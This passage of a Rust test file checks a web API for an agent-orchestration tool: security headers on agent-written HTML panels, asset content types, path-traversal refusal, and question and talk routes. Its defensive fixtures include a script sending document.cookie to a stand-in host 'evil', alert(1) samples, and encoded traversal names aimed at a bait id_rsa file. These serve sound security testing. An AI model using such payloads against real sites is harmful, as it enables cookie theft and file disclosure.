5921 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5928 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5929
5930 fn launch_knocking_on_the_way_out(
5937 _opts: daemon::Opts,
5938 stop: daemon::Stop,
5939 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5940 Box::pin(async move {
5941 while !stop.stopped() {
5942 tokio::time::sleep(Duration::from_millis(2)).await;
5943 }
5944 let addr = PARK_KNOCK
5945 .lock()
5946 .expect("park knock")
5947 .expect("the test set an address");
5948 let heard = request(addr, "GET", "/api/health", None).await.status;
5949 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5950 Ok(())
5951 })
5952 }
5953
5954 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5963 for _ in 0..SETTLE_STEPS {
5964 let view = fx.get("/api/loop").await.json();
5965 if want(&view) {
5966 return view;
5967 }
5968 tokio::time::sleep(Duration::from_millis(10)).await;
5969 }
5970 panic!(
5971 "the loop never settled: {}",
5972 fx.get("/api/loop").await.json()
5973 );
5974 }
5975
5976 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5978 let store = fx.questions();
5979 let mut q = Question::new(
5980 "20260902-000000-beef".to_owned(),
5981 "implement".to_owned(),
5982 "impl-A".to_owned(),
5983 summary.to_owned(),
5984 "because it matters".to_owned(),
5985 choices.iter().map(|c| (*c).to_owned()).collect(),
5986 );
5987 store.put(&mut q).expect("put question");
5988 q.id
5989 }
5990
5991 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5997 let store = fx.questions();
5998 let mut q = Question::new(
5999 "20260902-000000-beef".to_owned(),
6000 "land".to_owned(),
6001 "fix".to_owned(),
6002 "Merge this?".to_owned(),
6003 "the diff is in the panel".to_owned(),
6004 vec!["merge".to_owned(), "hold".to_owned()],
6005 );
6006 let staging = fx.home.path().join("staging");
6009 std::fs::create_dir_all(&staging).expect("staging dir");
6010 let sources: Vec<PathBuf> = assets
6011 .iter()
6012 .map(|(name, bytes)| {
6013 let path = staging.join(name);
6014 std::fs::write(&path, bytes).expect("write staged asset");
6015 path
6016 })
6017 .collect();
6018 store
6019 .put_panel(&mut q, html, &sources)
6020 .expect("write the panel");
6021 store.put(&mut q).expect("put question");
6022 q.id
6023 }
6024
6025 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6034 let store = fx.talks();
6035 std::fs::create_dir_all(store.root()).expect("talks dir");
6036 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6037 .expect("serialize a seat");
6038 let body = serde_json::json!({
6039 "schema": 1,
6040 "id": id,
6041 "repo": "/repo/magi",
6042 "agent": "mock",
6043 "status": status,
6044 "turns": [],
6045 "created_at": Timestamp::now().to_string(),
6046 "updated_at": Timestamp::now().to_string(),
6047 "seat": seat,
6048 });
6049 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6050 store.get(id).expect("the seeded talk has to be readable");
6051 id.to_owned()
6052 }
6053
6054 #[tokio::test]
6055 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6056 let fx = Fixture::start().await;
6057 let id = panel(
6058 &fx,
6059 "<h1>Merge?</h1><img src=\"diff.svg\">",
6060 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
6061 );
6062
6063 for path in [
6064 format!("/api/questions/{id}/panel"),
6065 format!("/api/questions/{id}/asset/diff.svg"),
6066 ] {
6067 let res = fx.get(&path).await;
6068 assert_eq!(res.status, 200, "{path}: {}", res.body);
6069 assert_eq!(
6075 res.header("content-security-policy"),
6076 Some(
6077 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
6078 font-src data:; base-uri 'none'; form-action 'none'; \
6079 frame-ancestors 'self'"
6080 ),
6081 "{path} is the only thing between a hostile panel and the tailnet"
6082 );
6083 assert_eq!(
6084 res.header("x-content-type-options"),
6085 Some("nosniff"),
6086 "{path}: a browser must not re-decide the type we sent"
6087 );
6088 assert_eq!(
6089 res.header("referrer-policy"),
6090 Some("no-referrer"),
6091 "{path}: a panel must not leak the question id off the machine"
6092 );
6093
6094 let pre = fx.head(&path).await;
6099 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
6100 assert_eq!(
6101 pre.header("content-security-policy"),
6102 res.header("content-security-policy"),
6103 "{path}: the preflight carries the same policy"
6104 );
6105 assert_eq!(
6106 pre.header("content-type"),
6107 res.header("content-type"),
6108 "{path}: the preflight carries the same type"
6109 );
6110 }
6111 }
6112
6113 #[tokio::test]
6114 async fn a_panel_reaches_the_browser_byte_for_byte() {
6115 let fx = Fixture::start().await;
6116 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
6121 let id = panel(&fx, html, &[]);
6122
6123 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
6124
6125 assert_eq!(res.status, 200);
6126 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
6127 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
6128 assert_eq!(
6129 res.header("content-disposition"),
6130 None,
6131 "the panel itself is rendered in the frame, not downloaded"
6132 );
6133 }
6134
6135 #[tokio::test]
6136 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
6137 let fx = Fixture::start().await;
6138 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
6139 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
6140 let id = panel(
6141 &fx,
6142 "<img src=\"diff.svg\"><img src=\"shot.png\">",
6143 &[("diff.svg", svg), ("shot.png", png)],
6144 );
6145
6146 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
6147 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
6148
6149 assert_eq!(as_svg.status, 200);
6150 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
6151 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
6156
6157 assert_eq!(as_png.status, 200);
6158 assert_eq!(as_png.header("content-type"), Some("image/png"));
6159 assert_eq!(
6160 as_png.header("content-disposition"),
6161 None,
6162 "a raster image has no execution surface, so tapping it still shows it"
6163 );
6164 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
6165 }
6166
6167 #[tokio::test]
6168 async fn an_html_asset_is_never_served_as_html() {
6169 let fx = Fixture::start().await;
6170 let id = panel(
6171 &fx,
6172 "<p>see the notes</p>",
6173 &[
6174 (
6175 "notes.html",
6176 b"<script>fetch('http://evil/'+document.cookie)</script>",
6177 ),
6178 ("hook.js", b"fetch('http://evil/')"),
6179 ("data.json", b"{}"),
6180 ("HEADLINE.TXT", b"plain"),
6181 ],
6182 );
6183
6184 for name in ["notes.html", "hook.js", "data.json"] {
6185 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
6186 assert_eq!(res.status, 200, "{name}: {}", res.body);
6187 assert_eq!(
6192 res.header("content-type"),
6193 Some("application/octet-stream"),
6194 "{name} must not be a type the browser will execute or render"
6195 );
6196 }
6197 let txt = fx
6200 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
6201 .await;
6202 assert_eq!(
6203 txt.header("content-type"),
6204 Some("text/plain; charset=utf-8")
6205 );
6206 }
6207
6208 #[tokio::test]
6209 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
6210 let fx = Fixture::start().await;
6211 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
6212 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
6216
6217 for encoded in [
6224 "%2e%2e%2fid_rsa",
6225 "..%2fid_rsa",
6226 "..%5cid_rsa",
6227 "%2e%2e%5cid_rsa",
6228 "diff%00.svg",
6229 "..",
6230 ".hidden",
6231 "%2e%2e%2f%2e%2e%2fid_rsa",
6232 ] {
6233 let res = fx
6234 .get(&format!("/api/questions/{id}/asset/{encoded}"))
6235 .await;
6236 assert_eq!(
6237 res.status, 400,
6238 "`{encoded}` has to be refused by name, not looked up: {}",
6239 res.body
6240 );
6241 assert!(res.json()["error"].is_string(), "{}", res.body);
6242 }
6243
6244 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
6250 let res = fx
6251 .get(&format!("/api/questions/{id}/asset/{literal}"))
6252 .await;
6253 assert_eq!(
6254 res.status, 404,
6255 "`{literal}` must not match the asset route at all: {}",
6256 res.body
6257 );
6258 }
6259 }
6260
6261 #[tokio::test]
6262 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
6263 let fx = Fixture::start().await;
6264 let plain = ask(&fx, "Which backend?", &["SQLite"]);
6265 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
6266
6267 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
6271 assert_eq!(none.status, 404, "{}", none.body);
6272 assert!(none.json()["error"].is_string(), "{}", none.body);
6273 assert_eq!(
6274 fx.head(&format!("/api/questions/{plain}/panel"))
6275 .await
6276 .status,
6277 404,
6278 "the preflight is the only way the client can learn this"
6279 );
6280
6281 let missing = fx
6283 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
6284 .await;
6285 assert_eq!(missing.status, 404, "{}", missing.body);
6286 assert!(missing.json()["error"].is_string(), "{}", missing.body);
6287
6288 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
6290 assert_eq!(
6291 fx.get("/api/questions/nope/asset/diff.svg").await.status,
6292 404
6293 );
6294 }
6295
6296 #[tokio::test]
6297 async fn a_run_with_an_open_question_reads_as_waiting() {
6298 let fx = Fixture::start().await;
6299 let run = "20260902-000000-beef".to_owned();
6300 write_run(&fx.runs(), &run, RunStatus::Implementing);
6301
6302 let before = fx.get("/api/runs").await.json();
6303 assert_eq!(before[0]["waiting"], false, "{before}");
6304
6305 let store = fx.questions();
6306 let mut q = Question::new(
6307 run.clone(),
6308 "implement".to_owned(),
6309 "impl-A".to_owned(),
6310 "Which backend?".to_owned(),
6311 String::new(),
6312 vec!["SQLite".to_owned()],
6313 );
6314 store.put(&mut q).expect("put");
6315
6316 let during = fx.get("/api/runs").await.json();
6317 assert_eq!(during[0]["waiting"], true, "{during}");
6318
6319 q.answer(Answer::Choice("SQLite".to_owned()))
6322 .expect("answer");
6323 store.put(&mut q).expect("put");
6324 let after = fx.get("/api/runs").await.json();
6325 assert_eq!(after[0]["waiting"], false, "{after}");
6326 }
6327
6328 #[tokio::test]
6329 async fn an_open_question_is_listed_and_counted_by_health() {
6330 let fx = Fixture::start().await;
6331 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6332
6333 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6334 let listed = fx.get("/api/questions").await.json();
6335 assert_eq!(listed.as_array().expect("array").len(), 1);
6336 assert_eq!(listed[0]["id"], id);
6337 assert_eq!(listed[0]["status"], "open");
6338 assert_eq!(listed[0]["choices"][1], "Redis");
6339 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6342 }
6343
6344 #[tokio::test]
6345 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
6346 let fx = Fixture::start().await;
6347 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6348 let path = format!("/api/questions/{id}/answer");
6349
6350 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
6351 assert_eq!(res.status, 200, "{}", res.body);
6352 let body = res.json();
6353 assert_eq!(body["status"], "answered");
6354 assert_eq!(body["answer"]["choice"], "Redis");
6355
6356 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
6360 assert_eq!(again.status, 409, "{}", again.body);
6361 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6362 }
6363
6364 #[tokio::test]
6365 async fn saying_something_appends_a_turn_without_answering() {
6366 let fx = Fixture::start().await;
6367 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6368 let path = format!("/api/questions/{id}/say");
6369
6370 let res = fx
6371 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
6372 .await;
6373 assert_eq!(res.status, 200, "{}", res.body);
6374 let body = res.json();
6375 assert_eq!(body["status"], "open", "talking back is not a decision");
6376 assert_eq!(body["answer"], Value::Null);
6377 assert_eq!(body["thread"][0]["who"], "operator");
6378 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
6379 assert_eq!(body["waiting_on_agent"], true);
6380 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6382 }
6383
6384 #[tokio::test]
6385 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
6386 let fx = Fixture::start().await;
6387 let store = fx.questions();
6388 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6389 assert_eq!(
6390 fx.get("/api/health").await.json()["questions_needs_owner"],
6391 1
6392 );
6393
6394 let res = fx
6400 .post(
6401 &format!("/api/questions/{id}/say"),
6402 Some(r#"{"body":"why not Postgres?"}"#),
6403 )
6404 .await;
6405 assert_eq!(res.status, 200, "{}", res.body);
6406 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6407 assert_eq!(
6408 fx.get("/api/health").await.json()["questions_needs_owner"],
6409 0,
6410 "waiting on the agent is not waiting on the owner"
6411 );
6412
6413 let mut q = store.get(&id).expect("get");
6417 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
6418 .expect("reply");
6419 store.put(&mut q).expect("put");
6420 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6421 assert_eq!(
6422 fx.get("/api/health").await.json()["questions_needs_owner"],
6423 1,
6424 "the agent's reply is what should light the banner back up"
6425 );
6426 }
6427
6428 #[tokio::test]
6429 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
6430 let fx = Fixture::start().await;
6431 let store = fx.questions();
6432
6433 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6434 let res = fx
6435 .post(
6436 &format!("/api/questions/{empty_id}/say"),
6437 Some(r#"{"body":" "}"#),
6438 )
6439 .await;
6440 assert_eq!(res.status, 400, "{}", res.body);
6441
6442 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6443 let mut answered = store.get(&answered_id).expect("get");
6444 answered
6445 .answer(Answer::Choice("SQLite".to_owned()))
6446 .expect("answer");
6447 store.put(&mut answered).expect("put");
6448 let res = fx
6449 .post(
6450 &format!("/api/questions/{answered_id}/say"),
6451 Some(r#"{"body":"still there?"}"#),
6452 )
6453 .await;
6454 assert_eq!(res.status, 409, "{}", res.body);
6455
6456 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6457 let mut abandoned = store.get(&abandoned_id).expect("get");
6458 abandoned.abandon("timed out");
6459 store.put(&mut abandoned).expect("put");
6460 let res = fx
6461 .post(
6462 &format!("/api/questions/{abandoned_id}/say"),
6463 Some(r#"{"body":"still there?"}"#),
6464 )
6465 .await;
6466 assert_eq!(res.status, 409, "{}", res.body);
6467 }
6468
6469 #[tokio::test]
6470 async fn an_answer_the_question_does_not_offer_is_refused() {
6471 let fx = Fixture::start().await;
6472 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6473 let path = format!("/api/questions/{id}/answer");
6474
6475 for body in [
6476 r#"{"choice":"Postgres"}"#,
6477 r#"{"text":"whatever you think"}"#,
6478 r#"{"choice":"Redis","text":"both"}"#,
6479 r#"{}"#,
6480 ] {
6481 let res = fx.post(&path, Some(body)).await;
6482 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
6483 assert!(res.json()["error"].is_string(), "{}", res.body);
6484 }
6485 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6487 }
6488
6489 #[tokio::test]
6490 async fn a_free_text_question_takes_text_and_not_a_choice() {
6491 let fx = Fixture::start().await;
6492 let id = ask(&fx, "What should the flag be called?", &[]);
6493 let path = format!("/api/questions/{id}/answer");
6494
6495 assert_eq!(
6496 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
6497 400
6498 );
6499 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
6500 assert_eq!(res.status, 200, "{}", res.body);
6501 assert_eq!(res.json()["answer"]["text"], "--json");
6502 }
6503
6504 #[tokio::test]
6505 async fn an_unknown_question_is_a_json_404() {
6506 let fx = Fixture::start().await;
6507 let res = fx
6508 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
6509 .await;
6510 assert_eq!(res.status, 404, "{}", res.body);
6511 assert!(res.json()["error"].is_string());
6512 }
6513
6514 #[tokio::test]
6515 async fn notifications_list_read_dismiss_and_health_agree() {
6516 let fx = Fixture::start().await;
6517 let store = Notices::at(fx.home.path().join("notifications"));
6518 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
6519 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
6520
6521 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
6522 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
6523
6524 let health = fx.get("/api/health").await.json();
6525 assert_eq!(health["notifications_unread"], 2);
6526 assert_ne!(
6527 health["notifications_rev"], rev0,
6528 "the badge must move live"
6529 );
6530
6531 let listed = fx.get("/api/notifications").await.json();
6532 assert_eq!(listed["unread"], 2);
6533 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
6534 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
6535
6536 let read = fx
6537 .post(&format!("/api/notifications/{}/read", a.id), None)
6538 .await;
6539 assert_eq!(read.status, 200, "{}", read.body);
6540 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
6541
6542 let gone = fx
6543 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
6544 .await;
6545 assert_eq!(gone.status, 200, "{}", gone.body);
6546 let listed = fx.get("/api/notifications").await.json();
6547 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
6548 assert_eq!(listed["unread"], 0);
6549
6550 store.raise(Notice::info("x", "again")).unwrap();
6551 let all = fx.post("/api/notifications/read-all", None).await;
6552 assert_eq!(all.status, 200, "{}", all.body);
6553 assert_eq!(all.json()["marked"], 1);
6554 assert_eq!(
6555 fx.get("/api/health").await.json()["notifications_unread"],
6556 0
6557 );
6558
6559 let missing = fx.post("/api/notifications/nope/read", None).await;
6560 assert_eq!(missing.status, 404, "{}", missing.body);
6561 assert!(missing.json()["error"].is_string());
6562 }
6563
6564 #[tokio::test]
6571 async fn a_task_cannot_be_filed_over_the_phone_directly() {
6572 let f = Fixture::start().await;
6573
6574 let res = f
6575 .post(
6576 "/api/queue",
6577 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
6578 )
6579 .await;
6580
6581 assert_eq!(
6582 res.status, 405,
6583 "POST /api/queue must not be a route: {}",
6584 res.body
6585 );
6586 assert!(
6587 f.queue().list().is_empty(),
6588 "a task filed by a route that does not exist must not reach the disk"
6589 );
6590 assert_eq!(f.get("/api/queue").await.status, 200);
6593 }
6594
6595 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
6597 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
6598 .expect("checkout dir");
6599 }
6600
6601 #[tokio::test]
6602 async fn repos_list_returns_name_and_path_for_every_configured_root() {
6603 let tmp = TempDir::new().expect("tempdir");
6604 let repo = tmp.path().join("repo");
6605 std::fs::create_dir_all(&repo).expect("repo dir");
6606 let root = tmp.path().join("root");
6607 make_checkout(&root, "github.com", "yukimemi", "magi");
6608 std::fs::write(
6609 repo.join("magi.toml"),
6610 format!(
6611 "[repos]\nroots = [{:?}]\n",
6612 root.to_string_lossy().into_owned()
6613 ),
6614 )
6615 .expect("write magi.toml");
6616
6617 let f = Fixture::with_repo(repo).await;
6618 let res = f.get("/api/repos").await;
6619 assert_eq!(res.status, 200, "{}", res.body);
6620 let list = res.json();
6621 let repos = list.as_array().expect("an array");
6622 assert_eq!(repos.len(), 1);
6623 assert_eq!(repos[0]["name"], "yukimemi/magi");
6624 assert!(
6625 repos[0]["path"]
6626 .as_str()
6627 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
6628 "{list}"
6629 );
6630 }
6631
6632 #[tokio::test]
6633 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
6634 let tmp = TempDir::new().expect("tempdir");
6635 let repo = tmp.path().join("repo");
6636 std::fs::create_dir_all(&repo).expect("repo dir");
6637 let root = tmp.path().join("root");
6638 make_checkout(&root, "github.com", "yukimemi", "magi");
6639 std::fs::write(
6640 repo.join("magi.toml"),
6641 format!(
6642 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
6643 root.to_string_lossy().into_owned()
6644 ),
6645 )
6646 .expect("write magi.toml");
6647
6648 let f = Fixture::with_repo(repo).await;
6649 let first = f.get("/api/repos").await;
6650 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
6651
6652 make_checkout(&root, "github.com", "yukimemi", "rvpm");
6655 let second = f.get("/api/repos").await;
6656 assert_eq!(
6657 second.json().as_array().map(Vec::len),
6658 Some(1),
6659 "a fresh cache must not rescan inside the TTL"
6660 );
6661
6662 let refreshed = f.get("/api/repos?refresh=1").await;
6663 assert_eq!(
6664 refreshed.json().as_array().map(Vec::len),
6665 Some(2),
6666 "an explicit refresh must rescan even inside the TTL"
6667 );
6668 }
6669
6670 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
6676
6677 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
6681 let tmp = TempDir::new().expect("tempdir");
6682 let repo = tmp.path().join("repo");
6683 std::fs::create_dir_all(&repo).expect("repo dir");
6684 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6685 let f = Fixture::with_repo(repo.clone()).await;
6686 (tmp, repo, f)
6687 }
6688
6689 #[tokio::test]
6690 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
6691 let (_tmp, _repo, f) = talk_fixture().await;
6692
6693 let opened = f.post("/api/talks", None).await;
6696 assert_eq!(opened.status, 201, "{}", opened.body);
6697 let body = opened.json();
6698 assert_eq!(body["status"], "open");
6699 assert_eq!(
6700 body["turns"].as_array().unwrap().len(),
6701 0,
6702 "opening takes no agent turn: there is nothing yet to answer"
6703 );
6704
6705 let also_opened = f.post("/api/talks", Some("{}")).await;
6707 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6708
6709 let listed = f.get("/api/talks").await.json();
6710 assert_eq!(listed.as_array().unwrap().len(), 2);
6711 }
6712
6713 #[tokio::test]
6714 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6715 let f = Fixture::start().await;
6716 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6717 let queue = f.queue();
6718 let mut mine = Task::new(
6719 "rename the loader".to_owned(),
6720 "rename the loader".to_owned(),
6721 PathBuf::from("/repo/magi"),
6722 Source::Agent {
6723 run: talk_id.clone(),
6724 node: "chat".to_owned(),
6725 },
6726 );
6727 queue.put(&mut mine).expect("file the task");
6728 let mut theirs = Task::new(
6729 "unrelated".to_owned(),
6730 "unrelated".to_owned(),
6731 PathBuf::from("/repo/magi"),
6732 Source::Human,
6733 );
6734 queue.put(&mut theirs).expect("file the task");
6735
6736 let res = f.get(&format!("/api/talks/{talk_id}")).await;
6737 assert_eq!(res.status, 200, "{}", res.body);
6738 let body = res.json();
6739 assert_eq!(
6740 body["status"], "open",
6741 "filing a task does not close a talk"
6742 );
6743 let tasks = body["tasks"].as_array().expect("tasks array");
6744 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6745 assert_eq!(tasks[0]["id"], mine.id);
6746 }
6747
6748 #[tokio::test]
6749 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6750 let (_tmp, _repo, f) = talk_fixture().await;
6751 let id = f.post("/api/talks", None).await.json()["id"]
6752 .as_str()
6753 .expect("id")
6754 .to_owned();
6755
6756 let res = f
6757 .post(
6758 &format!("/api/talks/{id}/say"),
6759 Some(r#"{"text":"what does the queue module do?"}"#),
6760 )
6761 .await;
6762 assert_eq!(res.status, 202, "{}", res.body);
6763 let queued = res.json();
6764 let turns = queued["turns"].as_array().expect("turns array");
6765 assert_eq!(
6766 turns.len(),
6767 1,
6768 "the answer reflects only what is on disk the instant it is sent, \
6769 before the agent's turn - which can run for the whole of \
6770 `[graph] timeout_talk` - has a chance to land: {queued}"
6771 );
6772 assert_eq!(turns[0]["who"], "operator");
6773 assert_eq!(turns[0]["body"], "what does the queue module do?");
6774 assert_eq!(
6775 queued["thinking"], true,
6776 "the accepted response exposes the background turn claim: {queued}"
6777 );
6778
6779 let mut turns_after = 1;
6780 for _ in 0..SETTLE_STEPS {
6781 let detail = f.get(&format!("/api/talks/{id}")).await.json();
6782 turns_after = detail["turns"].as_array().expect("turns array").len();
6783 if turns_after == 2 {
6784 break;
6785 }
6786 tokio::time::sleep(Duration::from_millis(10)).await;
6787 }
6788 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6789 }
6790
6791 #[tokio::test]
6818 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6819 let tmp = TempDir::new().expect("tempdir");
6820 let repo = tmp.path().join("repo");
6821 std::fs::create_dir_all(&repo).expect("repo dir");
6822 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6823 let home = TempDir::new().expect("temp home");
6824 let talks = Talks::at(home.path().join("talks"));
6825 let ui = Arc::new(
6826 Ui::new(
6827 Queue::at(home.path().join("queue")),
6828 Questions::at(home.path().join("questions")),
6829 talks.clone(),
6830 home.path().join("runs"),
6831 home.path().to_path_buf(),
6832 repo.clone(),
6833 )
6834 .with_worktrees_root(home.path().join("wt")),
6835 );
6836 let cfg = config_for(&repo).await.expect("discover config");
6837
6838 for delay in 0..40u32 {
6839 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6840 let id = talk.id.clone();
6841
6842 let handler = tokio::spawn(talk_say(
6843 State(Arc::clone(&ui)),
6844 Path(id.clone()),
6845 Ok(Json(NewTalkTurn {
6846 text: "what does the queue module do?".to_owned(),
6847 attachments: Vec::new(),
6848 })),
6849 ));
6850 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6851 handler.abort();
6852 let _ = handler.await;
6855
6856 let mut turns = 0;
6857 for _ in 0..SETTLE_STEPS {
6858 if let Ok(fresh) = talks.get(&id) {
6859 turns = fresh.turns.len();
6860 if turns != 1 {
6861 break;
6862 }
6863 }
6864 tokio::time::sleep(Duration::from_millis(10)).await;
6865 }
6866 assert_ne!(
6867 turns, 1,
6868 "delay {delay}: talk {id} recorded the operator's turn but \
6869 the agent never answered - the reply task was never \
6870 started after the handler future was dropped"
6871 );
6872 }
6873 }
6874
6875 #[tokio::test]
6920 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6921 let tmp = TempDir::new().expect("tempdir");
6922 let repo = tmp.path().join("repo");
6923 std::fs::create_dir_all(&repo).expect("repo dir");
6924 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6925 let home = TempDir::new().expect("temp home");
6926 let talks = Talks::at(home.path().join("talks"));
6927 let ui = Arc::new(
6928 Ui::new(
6929 Queue::at(home.path().join("queue")),
6930 Questions::at(home.path().join("questions")),
6931 talks.clone(),
6932 home.path().join("runs"),
6933 home.path().to_path_buf(),
6934 repo.clone(),
6935 )
6936 .with_worktrees_root(home.path().join("wt")),
6937 );
6938 let cfg = config_for(&repo).await.expect("discover config");
6939
6940 for attempt in 0..3u32 {
6941 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6942 let id = talk.id.clone();
6943 let turn_guard = ui
6946 .begin_talk_turn(&id)
6947 .expect("claim the turn")
6948 .expect("a fresh talk owes nobody a turn");
6949
6950 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6951 let (release_tx, release_rx) = std::sync::mpsc::channel();
6952 ui.set_busy_queue_gate(BusyQueueGate {
6953 reached: reached_tx,
6954 release: release_rx,
6955 });
6956
6957 let handler = tokio::spawn(talk_say(
6958 State(Arc::clone(&ui)),
6959 Path(id.clone()),
6960 Ok(Json(NewTalkTurn {
6961 text: "what does the queue module do?".to_owned(),
6962 attachments: Vec::new(),
6963 })),
6964 ));
6965
6966 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6971 .await
6972 .unwrap_or_else(|_| {
6973 panic!(
6974 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6975 )
6976 })
6977 .expect("the busy branch dropped the gate without using it");
6978
6979 let running = talks.get(&id).expect("reload talk");
6986 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6987
6988 handler.abort();
6992 let _ = handler.await;
6993
6994 let _ = release_tx.send(());
7000
7001 let mut fresh = talks.get(&id).expect("reload talk");
7004 for _ in 0..SETTLE_STEPS {
7005 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
7006 break;
7007 }
7008 tokio::time::sleep(Duration::from_millis(10)).await;
7009 fresh = talks.get(&id).expect("reload talk");
7010 }
7011 assert!(
7012 fresh.pending.is_empty() && fresh.turns.len() == 2,
7013 "attempt {attempt}: talk {id} left the operator's text queued \
7014 with no drainer - the reclaimed turn was dropped along with \
7015 the handler future (pending {:?}, {} turns)",
7016 fresh.pending,
7017 fresh.turns.len()
7018 );
7019 }
7020 }
7021
7022 #[tokio::test]
7023 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
7024 let (_tmp, _repo, f) = talk_fixture().await;
7025 let id = f.post("/api/talks", None).await.json()["id"]
7026 .as_str()
